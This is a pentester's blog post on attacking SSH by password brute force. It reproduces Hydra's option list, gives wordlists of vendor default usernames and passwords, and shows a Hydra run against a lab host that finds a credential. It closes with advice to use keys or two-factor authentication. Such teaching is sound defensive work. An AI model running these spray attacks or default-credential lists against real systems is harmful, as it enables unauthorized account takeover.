So, now that we've talked about securing SSH and auditing SSH over the last few days, how about attacking SSH?

A primary method is to simply brute force hosts that have userid/password authentication enabled.  Hydra and Medusa both have nice interfaces for this.  I like using Hydra for this - it allows you to do a password "spray" attack.  A spray attack takes each password on th list, and tries it against each userid on the list (ie - loop the password first, then the userid) - this tends to "space out" the attempts per account, and so allows you to reduce the risk of account lockouts.

Hydra syntax options include (run hydra with no options for the help text):

Options:
  -R        restore a previous aborted/crashed session
  -I        ignore an existing restore file (don't wait 10 seconds)
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -y        disable use of symbols in bruteforce, see above
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -o FILE   write found login/password pairs to FILE instead of stdout
  -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
  -w / -W TIME  wait time for a response (32) / between connects per thread (0)
  -c TIME   wait time per login attempt over all threads (enforces -t 1)
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -O        use old SSL v2 and v3
  -q        do not print messages about connection errors
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

As you can see, you can use this tool to attack a boatload of different services, with a lot of ways to slice and dice the attack.

I'll start with a standard userid and password list - this list covers several defaults from over the years and across multiple vendors.  A more complete list can be found at http://www.defaultpassword.com

file users.in:
root
admin
ADMIN
USERID
Administrator
administrator
netadmin
manager
Manager
operator
Operator
security
monitor
superuser
qsecofr
qpgmr
qsysopr
readonly
readwrite
system
SYSTEM
netman
Cisco
piranha

file passwords.in:
admin
admin123
ADMIN
setup
root
password
PASSWORD
Passw0rd!
Cisc0
Cisco
public
manager
security
michelangelo
Manager
MANAGER
operator
Operator
4Supp0rt
L3tM31n!
fibranne
monitor
superuser
qsecofr
qpgmr
qsysopr
friend
lucenttech2
lucenttech1
weblogic
tsunami
changeme
netman
piranha

Both Hydra and Medusa are installed on Kali, I'll try Hydra against an example service here:

root@kali:~/sshwork# hydra -L users.in -P passwords.in -t 2 ssh://192.168.122.5
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-31 23:19:54
[DATA] max 2 tasks per 1 server, overall 2 tasks, 24 login tries (l:4/p:6), ~12 tries per task
[DATA] attacking ssh://192.168.122.5:22/
[22][ssh] host: 192.168.122.5   login: admin   password: L3tM31n!
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-10-31 23:20:02

Yes, it's as simple as that!  Of course, it's only as good as the device administrator's poor choice of passwords - but as a pentester, I tend to see default passwords all the time - I'd say maybe in half the tests I run I'll find at least one network, server management or storage device with default credentials of some kind.  This device then often gets me the man in the middle position to collect more info or more info to pivot on to the next thing.  That's better odds than Vegas - a quick password test against a list of defaults is a must-do for any exposed services!

This also means that having an SSH service exposed to the internet with userid / password authentication is a very bad idea.  Without exception, any client device I've seen in this situation either has months of brute force attempts in their logs, is was compromised months or years ago.  If you must have SSH service on the internet, please (please please) implement that with keys or 2FA (two factor authentication).  This was bad enough when the source IP's indicated "kids in university", but now-a-days the source addresses for these attacks are often other compromised hosts, and the compute power of the hosts are being used for currency mining or other "revenue generation" bot-schemes.

Really this same advice should be considered for any service on the internet.  If you are protected only by a userid and password for your mail, web or VPN services, really I'd consider that to be an easy target also (yes, we'll talk about OWA next week, stay tuned).  For a catch-all, "fix-them-all" solution, two factor or multi-factor authentication goes a long way.  2FA / MFA at least prevents the easy brute forcing tools from succeeding (if the attacker has days, weeks or months to put into the effort, which they absolutely do).

And yes, you can attack SSH with MiTM (Monkey in the Middle / Man in the Middle) methods - but that's a topic for another day!  (so is key based authentication)

If you've found "something good" during an assessemet or pentest, please do share a (sanitized) war story using our comment form!  That is, if your NDA allows :-)

===============
Rob VandenBrink
Compugen